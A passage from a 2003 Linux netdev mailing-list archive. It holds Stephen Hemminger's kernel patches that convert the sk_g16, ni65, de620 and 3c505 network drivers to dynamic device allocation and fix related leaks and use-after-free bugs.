i; + + sprintf(name, "%s%d", prefix, unit); + for (i = 0; i < NETDEV_BOOT_SETUP_MAX; i++) + if (!strcmp(name, s[i].name)) + return s[i].map.base_addr; + return 0; +} + /* * Saves at boot time configured settings for any netdevice. */ From shemminger@osdl.org Tue Sep 23 15:02:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:25 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2DFx022581 for ; Tue, 23 Sep 2003 15:02:13 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM26112137; Tue, 23 Sep 2003 15:02:06 -0700 Date: Tue, 23 Sep 2003 14:57:29 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (5/7) sk16 dynamic allocation Message-Id: <20030923145729.15b93c63.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8NM2DFx022581 X-archive-position: 183 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 8075 Lines: 311 Originally from viro NE17-sk16 * switched sk_g16 to dynamic allocation * sk_g16: embedded ->priv * sk_g16: fixed buggy check for signature (|| instead of &&, somebody forgot to replace it when inverting the test). * sk_g16: fixed use after kfree() * sk_g16: fixed init_etherdev() race diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 13:39:28 2003 +++ b/drivers/net/Space.c Tue Sep 23 13:39:28 2003 @@ -73,7 +73,7 @@ extern struct net_device *ni52_probe(int unit); extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); -extern int SK_init(struct net_device *); +extern struct net_device *SK_init(int unit); extern int seeq8005_probe(struct net_device *); extern int smc_init( struct net_device * ); extern int atarilance_probe(struct net_device *); @@ -281,13 +281,13 @@ #ifdef CONFIG_ELPLUS /* 3c505 */ {elplus_probe, 0}, #endif -#ifdef CONFIG_SK_G16 - {SK_init, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_SK_G16 + {SK_init, 0}, +#endif #ifdef CONFIG_NI5010 {ni5010_probe, 0}, #endif diff -Nru a/drivers/net/sk_g16.c b/drivers/net/sk_g16.c --- a/drivers/net/sk_g16.c Tue Sep 23 13:39:28 2003 +++ b/drivers/net/sk_g16.c Tue Sep 23 13:39:28 2003 @@ -457,8 +457,6 @@ /* static variables */ static SK_RAM *board; /* pointer to our memory mapped board components */ -static struct net_device *SK_dev; -unsigned long SK_ioaddr; static spinlock_t SK_lock = SPIN_LOCK_UNLOCKED; /* Macros */ @@ -472,7 +470,6 @@ * See for short explanation of each function its definitions header. */ -int SK_init(struct net_device *dev); static int SK_probe(struct net_device *dev, short ioaddr); static void SK_timeout(struct net_device *dev); @@ -530,84 +527,71 @@ * YY/MM/DD uid Description -*/ +static int io; /* 0 == probe */ + /* * Check for a network adaptor of this type, and return '0' if one exists. * If dev->base_addr == 0, probe all likely locations. * If dev->base_addr == 1, always return failure. */ -int __init SK_init(struct net_device *dev) +struct net_device * __init SK_init(int unit) { - int ioaddr; /* I/O port address used for POS regs */ int *port, ports[] = SK_IO_PORTS; /* SK_G16 supported ports */ static unsigned version_printed; + struct net_device *dev = alloc_etherdev(sizeof(struct priv)); + int err = -ENODEV; + + if (!dev) + return ERR_PTR(-ENOMEM); - /* get preconfigured base_addr from dev which is done in Space.c */ - int base_addr = dev->base_addr; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + io = dev->base_addr; + } if (version_printed++ == 0) PRINTK(("%s: %s", SK_NAME, rcsid)); - if (base_addr > 0x0ff) /* Check a single specified address */ - { - int rc = -ENODEV; - - ioaddr = base_addr; + if (io > 0xff) { /* Check a single specified address */ + err = -EBUSY; + /* Check if on specified address is a SK_G16 */ + if (request_region(io, ETHERCARD_TOTAL_SIZE, "sk_g16")) { + err = SK_probe(dev, io); + if (!err) + goto got_it; + release_region(io, ETHERCARD_TOTAL_SIZE); + } + } else if (io > 0) { /* Don't probe at all */ + err = -ENXIO; + } else { + /* Autoprobe base_addr */ + for (port = &ports[0]; *port; port++) { + io = *port; + + /* Check if I/O Port region is used by another board */ + if (!request_region(io, ETHERCARD_TOTAL_SIZE, "sk_g16")) + continue; /* Try next Port address */ + + /* Check if at ioaddr is a SK_G16 */ + if (SK_probe(dev, io) == 0) + goto got_it; - /* Check if on specified address is a SK_G16 */ - if (!request_region(ioaddr, ETHERCARD_TOTAL_SIZE, "sk_g16")) - return -EBUSY; - - if ( (inb(SK_POS0) == SK_IDLOW) || - (inb(SK_POS1) == SK_IDHIGH) ) - { - rc = SK_probe(dev, ioaddr); - } - - if (rc) - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - return rc; + release_region(io, ETHERCARD_TOTAL_SIZE); + } } - else if (base_addr > 0) /* Don't probe at all */ - { - return -ENXIO; +err_out: + free_netdev(dev); + return ERR_PTR(err); + +got_it: + err = register_netdev(dev); + if (err) { + release_region(dev->base_addr, ETHERCARD_TOTAL_SIZE); + goto err_out; } - - /* Autoprobe base_addr */ - - for (port = &ports[0]; *port; port++) - { - ioaddr = *port; /* we need ioaddr for accessing POS regs */ - - /* Check if I/O Port region is used by another board */ - - if (!request_region(ioaddr, ETHERCARD_TOTAL_SIZE, "sk_g16")) - { - continue; /* Try next Port address */ - } - - /* Check if at ioaddr is a SK_G16 */ - - if ( !(inb(SK_POS0) == SK_IDLOW) || - !(inb(SK_POS1) == SK_IDHIGH) ) - { - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - continue; /* Try next Port address */ - } - - dev->base_addr = ioaddr; /* Set I/O Port Address */ - - if (SK_probe(dev, ioaddr) == 0) - { - return 0; /* Card found and initialized */ - } - - release_region(ioaddr, ETHERCARD_TOTAL_SIZE); - } - - dev->base_addr = base_addr; /* Write back original base_addr */ - - return -ENODEV; /* Failed to find or init driver */ + return dev; } /* End of SK_init */ @@ -620,54 +604,22 @@ #ifdef MODULE -static int io; /* 0 == probe */ - static int __init SK_init_module (void) { - int rc; - - SK_dev = init_etherdev (NULL, 0); - if (!SK_dev) - return -ENOMEM; - - SK_dev->base_addr = io; - - rc = SK_init (SK_dev); - if (rc) { - unregister_netdev (SK_dev); - kfree (SK_dev); - SK_dev = NULL; - } - - return rc; + SK_dev = SK_init(-1); + return IS_ERR(SK_dev) ? PTR_ERR(SK_dev) : 0; } -#endif /* MODULE */ - static void __exit SK_cleanup_module (void) { - if (SK_dev) { - if (SK_dev->priv) { - kfree(SK_dev->priv); - SK_dev->priv = NULL; - } - unregister_netdev(SK_dev); - free_netdev(SK_dev); - SK_dev = NULL; - } - if (SK_ioaddr) { - release_region(SK_ioaddr, ETHERCARD_TOTAL_SIZE); - SK_ioaddr = 0; - } - + unregister_netdev(SK_dev); + release_region(SK_dev->base_addr, ETHERCARD_TOTAL_SIZE); + free_netdev(SK_dev); } - -#ifdef MODULE module_init(SK_init_module); -#endif module_exit(SK_cleanup_module); - +#endif /*- @@ -695,7 +647,11 @@ int sk_addr_flag = 0; /* SK ADDR correct? 1 - no, 0 - yes */ unsigned int rom_addr; /* used to store RAM address used for POS_ADDR */ - struct priv *p; /* SK_G16 private structure */ + struct priv *p = dev->priv; /* SK_G16 private structure */ + + if (inb(SK_POS0) != SK_IDLOW || inb(SK_POS1) != SK_IDHIGH) + return -ENODEV; + dev->base_addr = ioaddr; if (SK_ADDR & 0x3fff || SK_ADDR < 0xa0000) { @@ -837,12 +793,6 @@ dev->dev_addr[4], dev->dev_addr[5]); - /* Allocate memory for private structure */ - p = dev->priv = (void *) kmalloc(sizeof(struct priv), GFP_KERNEL); - if (p == NULL) { - printk("%s: ERROR - no memory for driver data!\n", dev->name); - return -ENOMEM; - } memset((char *) dev->priv, 0, sizeof(struct priv)); /* clear memory */ /* Assign our Device Driver functions */ @@ -856,10 +806,6 @@ dev->watchdog_timeo = HZ/7; - /* Set the generic fields of the device structure */ - - ether_setup(dev); - dev->flags &= ~IFF_MULTICAST; /* Initialize private structure */ @@ -884,12 +830,7 @@ SK_print_pos(dev, "End of SK_probe"); SK_print_ram(dev); #endif - - SK_dev = dev; - SK_ioaddr = ioaddr; - return 0; /* Initialization done */ - } /* End of SK_probe() */ @@ -1280,7 +1221,7 @@ memcpy_toio((tmdp->u.buffer & 0x00ffffff), skb->data, skb->len); if (len != skb->len) - memcpy_toio((tmdp->u.buffer & 0x00ffffff) + sb->len, pad, len-skb->len); + memcpy_toio((tmdp->u.buffer & 0x00ffffff) + skb->len, pad, len-skb->len); writew(-len, &tmdp->blen); /* set length to transmit */ From shemminger@osdl.org Tue Sep 23 15:02:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:35 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2PFx022613 for ; Tue, 23 Sep 2003 15:02:25 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM26112129; Tue, 23 Sep 2003 15:02:06 -0700 Date: Tue, 23 Sep 2003 14:53:12 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (2/7) ni65 dynamic allocation Message-Id: <20030923145312.4a8be9fc.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 185 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 4345 Lines: 185 Originally from Al Viro's NE14-ni65 patch * switched ni65 to dynamic allocation * ni65: fixed ->irq and ->dma clobbering on autoprob diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 12:58:33 2003 +++ b/drivers/net/Space.c Tue Sep 23 12:58:33 2003 @@ -71,7 +71,7 @@ extern int e2100_probe(struct net_device *); extern int ni5010_probe(struct net_device *); extern int ni52_probe(struct net_device *); -extern int ni65_probe(struct net_device *); +extern struct net_device *ni65_probe(int unit); extern int sonic_probe(struct net_device *); extern int SK_init(struct net_device *); extern int seeq8005_probe(struct net_device *); @@ -290,6 +290,10 @@ #ifdef CONFIG_NI52 {ni52_probe, 0}, #endif + {NULL, 0}, +}; + +static struct devprobe2 isa_probes2[] __initdata = { #ifdef CONFIG_NI65 {ni65_probe, 0}, #endif @@ -403,6 +407,7 @@ if (base_addr == 1) return; + probe_list2(unit, isa_probes2, base_addr == 0) && probe_list2(unit, parport_probes, base_addr == 0); } diff -Nru a/drivers/net/ni65.c b/drivers/net/ni65.c --- a/drivers/net/ni65.c Tue Sep 23 12:58:33 2003 +++ b/drivers/net/ni65.c Tue Sep 23 12:58:33 2003 @@ -343,29 +343,64 @@ return 0; } +static void cleanup_card(struct net_device *dev) +{ + struct priv *p = (struct priv *) dev->priv; + disable_dma(dev->dma); + free_dma(dev->dma); + release_region(dev->base_addr, cards[p->cardno].total_size); + ni65_free_buffer(p); +} + +/* set: io,irq,dma or set it when calling insmod */ +static int irq; +static int io; +static int dma; + /* * Probe The Card (not the lance-chip) */ -#ifdef MODULE -static -#endif -int __init ni65_probe(struct net_device *dev) +struct net_device * __init ni65_probe(int unit) { - int *port; + struct net_device *dev = alloc_etherdev(0); static int ports[] = {0x360,0x300,0x320,0x340, 0}; + int *port; + int err = 0; - if (dev->base_addr > 0x1ff) /* Check a single specified location. */ - return ni65_probe1(dev, dev->base_addr); - else if (dev->base_addr > 0) /* Don't probe at all. */ - return -ENXIO; + if (!dev) + return ERR_PTR(-ENOMEM); - for (port = ports; *port; port++) - { - if (ni65_probe1(dev, *port) == 0) - return 0; - } - - return -ENODEV; + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + irq = dev->irq; + dma = dev->dma; + } else { + dev->base_addr = io; + } + + if (dev->base_addr > 0x1ff) { /* Check a single specified location. */ + err = ni65_probe1(dev, dev->base_addr); + } else if (dev->base_addr > 0) { /* Don't probe at all. */ + err = -ENXIO; + } else { + for (port = ports; *port && ni65_probe1(dev, *port); port++) + ; + if (!*port) + err = -ENODEV; + } + if (err) + goto out; + + err = register_netdev(dev); + if (err) + goto out1; + return dev; +out1: + cleanup_card(dev); +out: + free_netdev(dev); + return ERR_PTR(err); } /* @@ -377,6 +412,9 @@ struct priv *p; unsigned long flags; + dev->irq = irq; + dev->dma = dma; + for(i=0;iwatchdog_timeo = HZ/2; dev->get_stats = ni65_get_stats; dev->set_multicast_list = set_multicast_list; - - ether_setup(dev); - return 0; /* everything is OK */ } @@ -1213,12 +1248,7 @@ } #ifdef MODULE -static struct net_device dev_ni65 = { .base_addr = 0x360, .irq = 9, .init = ni65_probe }; - -/* set: io,irq,dma or set it when calling insmod */ -static int irq; -static int io; -static int dma; +static struct net_device *dev_ni65; MODULE_PARM(irq, "i"); MODULE_PARM(io, "i"); @@ -1229,26 +1259,15 @@ int init_module(void) { - dev_ni65.irq = irq; - dev_ni65.dma = dma; - dev_ni65.base_addr = io; - if (register_netdev(&dev_ni65) != 0) - return -EIO; - return 0; + dev_ni65 = ni65_probe(-1); + return IS_ERR(dev_ni65) ? PTR_ERR(dev_ni65) : 0; } void cleanup_module(void) { - struct priv *p; - p = (struct priv *) dev_ni65.priv; - if(!p) - BUG(); - disable_dma(dev_ni65.dma); - free_dma(dev_ni65.dma); - unregister_netdev(&dev_ni65); - release_region(dev_ni65.base_addr,cards[p->cardno].total_size); - ni65_free_buffer(p); - dev_ni65.priv = NULL; + unregister_netdev(dev_ni65); + cleanup_card(dev_ni65); + free_netdev(dev_ni65); } #endif /* MODULE */ From shemminger@osdl.org Tue Sep 23 15:02:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:20 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2BFx022577 for ; Tue, 23 Sep 2003 15:02:12 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM25112125; Tue, 23 Sep 2003 15:02:05 -0700 Date: Tue, 23 Sep 2003 14:50:23 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (1/7) de620 -- dynamic allocation Message-Id: <20030923145023.1d93c5a4.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8NM2BFx022577 X-archive-position: 180 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 4450 Lines: 184 Convert de620 for linux-2.6.0-test5 (original from Al Viro) * switched de620 to dynamic allocation * de620: embedded ->priv * de620: fixed IO before request_region() + fetch and don't clobber command line baseaddr and irq diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 12:56:37 2003 +++ b/drivers/net/Space.c Tue Sep 23 12:56:37 2003 @@ -97,7 +97,7 @@ extern struct net_device *ltpc_probe(void); /* Detachable devices ("pocket adaptors") */ -extern int de620_probe(struct net_device *); +extern struct net_device *de620_probe(int unit); /* Fibre Channel adapters */ extern int iph5526_probe(struct net_device *dev); @@ -296,7 +296,7 @@ {NULL, 0}, }; -static struct devprobe parport_probes[] __initdata = { +static struct devprobe2 parport_probes[] __initdata = { #ifdef CONFIG_DE620 /* D-Link DE-620 adapter */ {de620_probe, 0}, #endif @@ -387,8 +387,7 @@ probe_list(dev, mips_probes) == 0 || probe_list(dev, eisa_probes) == 0 || probe_list(dev, mca_probes) == 0 || - probe_list(dev, isa_probes) == 0 || - probe_list(dev, parport_probes) == 0) + probe_list(dev, isa_probes) == 0) err = register_netdev(dev); if (err) @@ -404,7 +403,7 @@ if (base_addr == 1) return; - return; /* nothing yet */ + probe_list2(unit, parport_probes, base_addr == 0); } #ifdef CONFIG_TR diff -Nru a/drivers/net/de620.c b/drivers/net/de620.c --- a/drivers/net/de620.c Tue Sep 23 12:56:37 2003 +++ b/drivers/net/de620.c Tue Sep 23 12:56:37 2003 @@ -226,7 +226,6 @@ /* Initialization */ static int adapter_init(struct net_device *); -int de620_probe(struct net_device *); static int read_eeprom(struct net_device *); @@ -814,11 +813,16 @@ * * Check if there is a DE-620 connected */ -int __init de620_probe(struct net_device *dev) +struct net_device * __init de620_probe(int unit) { - static struct net_device_stats de620_netstats; - int i; byte checkbyte = 0xa5; + struct net_device *dev; + int err = -ENOMEM; + int i; + + dev = alloc_etherdev(sizeof(struct net_device_stats)); + if (!dev) + goto out; SET_MODULE_OWNER(dev); @@ -831,11 +835,23 @@ dev->base_addr = io; dev->irq = irq; + /* allow overriding parameters on command line */ + if (unit >= 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + } + if (de620_debug) printk(version); printk(KERN_INFO "D-Link DE-620 pocket adapter"); + if (!request_region(dev->base_addr, 3, "de620")) { + printk(" io 0x%3lX, which is busy.\n", dev->base_addr); + err = -EBUSY; + goto out1; + } + /* Initially, configure basic nibble mode, so we can read the EEPROM */ NIC_Cmd = DEF_NIC_CMD; de620_set_register(dev, W_EIP, EIPRegister); @@ -846,12 +862,8 @@ if ((checkbyte != 0xa5) || (read_eeprom(dev) != 0)) { printk(" not identified in the printer port\n"); - return -ENODEV; - } - - if (!request_region(dev->base_addr, 3, "de620")) { - printk(KERN_ERR "io 0x%3lX, which is busy.\n", dev->base_addr); - return -EBUSY; + err = -ENODEV; + goto out2; } /* else, got it! */ @@ -870,10 +882,6 @@ else printk(" UTP)\n"); - /* Initialize the device structure. */ - dev->priv = &de620_netstats; - - memset(dev->priv, 0, sizeof(struct net_device_stats)); dev->get_stats = get_stats; dev->open = de620_open; dev->stop = de620_close; @@ -884,8 +892,6 @@ /* base_addr and irq are already set, see above! */ - ether_setup(dev); - /* dump eeprom */ if (de620_debug) { printk("\nEEPROM contents:\n"); @@ -899,7 +905,17 @@ printk("SCR = 0x%02x\n", nic_data.SCR); } - return 0; + err = register_netdev(dev); + if (err) + goto out2; + return dev; + +out2: + release_region(dev->base_addr, 3); +out1: + free_netdev(dev); +out: + return ERR_PTR(err); } /********************************** @@ -994,20 +1010,21 @@ * */ #ifdef MODULE -static struct net_device de620_dev; +static struct net_device *de620_dev; int init_module(void) { - de620_dev.init = de620_probe; - if (register_netdev(&de620_dev) != 0) - return -EIO; + de620_dev = de620_probe(-1); + if (IS_ERR(de620_dev)) + return PTR_ERR(de620_dev); return 0; } void cleanup_module(void) { - unregister_netdev(&de620_dev); - release_region(de620_dev.base_addr, 3); + unregister_netdev(de620_dev); + release_region(de620_dev->base_addr, 3); + free_netdev(de620_dev); } #endif /* MODULE */ MODULE_LICENSE("GPL"); From shemminger@osdl.org Tue Sep 23 15:02:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:02:24 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NM2EFx022583 for ; Tue, 23 Sep 2003 15:02:14 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8NM26112151; Tue, 23 Sep 2003 15:02:06 -0700 Date: Tue, 23 Sep 2003 14:59:52 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (6/7) 3c505 - dynamic allocation Message-Id: <20030923145952.0ca9e3e7.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 182 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 6599 Lines: 255 Originally by viro NE18-3c505 * switched 3c505 to dynamic allocation * 3c505: embedded ->priv * 3c505: fixed use of uninitialized variable * 3c505: fixed resource leaks on failure exits diff -Nru a/drivers/net/3c505.c b/drivers/net/3c505.c --- a/drivers/net/3c505.c Tue Sep 23 13:49:44 2003 +++ b/drivers/net/3c505.c Tue Sep 23 13:49:44 2003 @@ -1293,42 +1293,6 @@ } } -/****************************************************** - * - * initialise Etherlink Plus board - * - ******************************************************/ - -static inline void elp_init(struct net_device *dev) -{ - elp_device *adapter = dev->priv; - - /* - * set ptrs to various functions - */ - dev->open = elp_open; /* local */ - dev->stop = elp_close; /* local */ - dev->get_stats = elp_get_stats; /* local */ - dev->hard_start_xmit = elp_start_xmit; /* local */ - dev->tx_timeout = elp_timeout; /* local */ - dev->watchdog_timeo = 10*HZ; - dev->set_multicast_list = elp_set_mc_list; /* local */ - dev->ethtool_ops = &netdev_ethtool_ops; /* local */ - - /* Setup the generic properties */ - ether_setup(dev); - - /* - * setup ptr to adapter specific information - */ - memset(&(adapter->stats), 0, sizeof(struct net_device_stats)); - - /* - * memory information - */ - dev->mem_start = dev->mem_end = 0; -} - /************************************************************ * * A couple of tests to see if there's 3C505 or not @@ -1442,12 +1406,13 @@ * work at all if it was in a weird state). */ -int __init elplus_probe(struct net_device *dev) +static int __init elplus_setup(struct net_device *dev) { - elp_device *adapter; + elp_device *adapter = dev->priv; int i, tries, tries1, okay; unsigned long timeout; unsigned long cookie = 0; + int err = -ENODEV; SET_MODULE_OWNER(dev); @@ -1456,17 +1421,8 @@ */ dev->base_addr = elp_autodetect(dev); - if (!(dev->base_addr)) - return -ENODEV; - - /* - * setup ptr to adapter specific information - */ - adapter = (elp_device *) (dev->priv = kmalloc(sizeof(elp_device), GFP_KERNEL)); - if (adapter == NULL) { - printk(KERN_ERR "%s: out of memory\n", dev->name); + if (!dev->base_addr) return -ENODEV; - } adapter->send_pcb_semaphore = 0; @@ -1544,8 +1500,7 @@ outb_control(adapter->hcr_val & ~(FLSH | ATTN), dev); } printk(KERN_ERR "%s: failed to initialise 3c505\n", dev->name); - release_region(dev->base_addr, ELP_IO_EXTENT); - return -ENODEV; + goto out; okay: if (dev->irq) { /* Is there a preset IRQ? */ @@ -1560,14 +1515,14 @@ case 0: printk(KERN_ERR "%s: IRQ probe failed: check 3c505 jumpers.\n", dev->name); - return -ENODEV; + goto out; case 1: case 6: case 8: case 13: printk(KERN_ERR "%s: Impossible IRQ %d reported by probe_irq_off().\n", dev->name, dev->irq); - return -ENODEV; + goto out; } /* * Now we have the IRQ number so we can disable the interrupts from @@ -1636,16 +1591,48 @@ printk(KERN_ERR "%s: adapter configuration failed\n", dev->name); } - /* - * initialise the device - */ - elp_init(dev); + dev->open = elp_open; /* local */ + dev->stop = elp_close; /* local */ + dev->get_stats = elp_get_stats; /* local */ + dev->hard_start_xmit = elp_start_xmit; /* local */ + dev->tx_timeout = elp_timeout; /* local */ + dev->watchdog_timeo = 10*HZ; + dev->set_multicast_list = elp_set_mc_list; /* local */ + dev->ethtool_ops = &netdev_ethtool_ops; /* local */ + + memset(&(adapter->stats), 0, sizeof(struct net_device_stats)); + dev->mem_start = dev->mem_end = 0; + + err = register_netdev(dev); + if (err) + goto out; return 0; +out: + release_region(dev->base_addr, ELP_IO_EXTENT); + return err; +} + +struct net_device * __init elplus_probe(int unit) +{ + struct net_device *dev = alloc_etherdev(sizeof(elp_device)); + int err; + if (!dev) + return ERR_PTR(-ENOMEM); + + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + + err = elplus_setup(dev); + if (err) { + free_netdev(dev); + return ERR_PTR(err); + } + return dev; } #ifdef MODULE -static struct net_device dev_3c505[ELP_MAX_CARDS]; +static struct net_device *dev_3c505[ELP_MAX_CARDS]; static int io[ELP_MAX_CARDS]; static int irq[ELP_MAX_CARDS]; static int dma[ELP_MAX_CARDS]; @@ -1661,10 +1648,12 @@ int this_dev, found = 0; for (this_dev = 0; this_dev < ELP_MAX_CARDS; this_dev++) { - struct net_device *dev = &dev_3c505[this_dev]; + struct net_device *dev = alloc_etherdev(sizeof(elp_device)); + if (!dev) + break; + dev->irq = irq[this_dev]; dev->base_addr = io[this_dev]; - dev->init = elplus_probe; if (dma[this_dev]) { dev->dma = dma[this_dev]; } else { @@ -1672,16 +1661,22 @@ printk(KERN_WARNING "3c505.c: warning, using default DMA channel,\n"); } if (io[this_dev] == 0) { - if (this_dev) break; + if (this_dev) { + kfree(dev); + break; + } printk(KERN_NOTICE "3c505.c: module autoprobe not recommended, give io=xx.\n"); } - if (register_netdev(dev) != 0) { + if (elplus_setup(dev) != 0) { printk(KERN_WARNING "3c505.c: Failed to register card at 0x%x.\n", io[this_dev]); - if (found != 0) return 0; - return -ENXIO; + kfree(dev); + break; } + dev_3c505[this_dev] = dev; found++; } + if (!found) + return -ENODEV; return 0; } @@ -1690,12 +1685,11 @@ int this_dev; for (this_dev = 0; this_dev < ELP_MAX_CARDS; this_dev++) { - struct net_device *dev = &dev_3c505[this_dev]; - if (dev->priv != NULL) { + struct net_device *dev = dev_3c505[this_dev]; + if (dev) { unregister_netdev(dev); - kfree(dev->priv); - dev->priv = NULL; release_region(dev->base_addr, ELP_IO_EXTENT); + free_netdev(dev); } } } diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Tue Sep 23 13:49:44 2003 +++ b/drivers/net/Space.c Tue Sep 23 13:49:44 2003 @@ -63,7 +63,7 @@ extern int el16_probe(struct net_device *); extern int elmc_probe(struct net_device *); extern int skmca_probe(struct net_device *); -extern int elplus_probe(struct net_device *); +extern struct net_device *elplus_probe(int unit); extern int ac3200_probe(struct net_device *); extern int es_probe(struct net_device *); extern int lne390_probe(struct net_device *); @@ -278,13 +278,13 @@ #ifdef CONFIG_EL16 /* 3c507 */ {el16_probe, 0}, #endif -#ifdef CONFIG_ELPLUS /* 3c505 */ - {elplus_probe, 0}, -#endif {NULL, 0}, }; static struct devprobe2 isa_probes2[] __initdata = { +#ifdef CONFIG_ELPLUS /* 3c505 */ + {elplus_probe, 0}, +#endif #ifdef CONFIG_SK_G16 {SK_init, 0}, #endif From spi@gmxpro.de Tue Sep 23 15:58:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Sep 2003 15:58:44 -0700 (PDT) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NMwYFx029066 for ; Tue, 23 Sep 2003 15:58:37 -0700 Received: (qmail 23585 invoked by uid 65534); 23 Sep 2003 22:58:25 -0000 Received: from pD9E60084.dip.t-dialin.net (EHLO d800) (217.230.0.132) by mail.gmx.net (mp013) with SMTP; 24 Sep 2003 00:58:25 +0200 X-Authenticated: #555711 From: "Sebastian Piecha" To: netdev@oss.sgi.com Date: Wed, 24 Sep 2003 00:58:36 +0200 MIME-Version: 1.0 Subject: PROBLEM: oops in 2.4.23pre1, Promise-ide, samba Message-ID: <3F70EC3C.17697.165AEFC7@localhost> Priority: normal X-mailer: Pegasus Mail for Windows (v4.12a) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-archive-position: 188 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: 